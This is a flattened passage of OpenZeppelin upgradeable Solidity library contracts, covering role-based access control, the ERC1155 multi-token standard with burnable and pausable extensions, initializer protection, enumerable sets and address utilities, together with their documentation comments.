ids, uint256[] memory amounts, bytes memory data ) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155MetadataURIUpgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../introspection/ERC165Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC1155Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable { function __ERC1155Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155Burnable_init_unchained(); } function __ERC1155Burnable_init_unchained() internal initializer { } function burn(address account, uint256 id, uint256 value) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC1155Upgradeable.sol"; import "../../utils/PausableUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev ERC1155 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. * * _Available since v3.1._ */ abstract contract ERC1155PausableUpgradeable is Initializable, ERC1155Upgradeable, PausableUpgradeable { function __ERC1155Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); } function __ERC1155Pausable_init_unchained() internal initializer { } /** * @dev See {ERC1155-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); require(!paused(), "ERC1155Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple 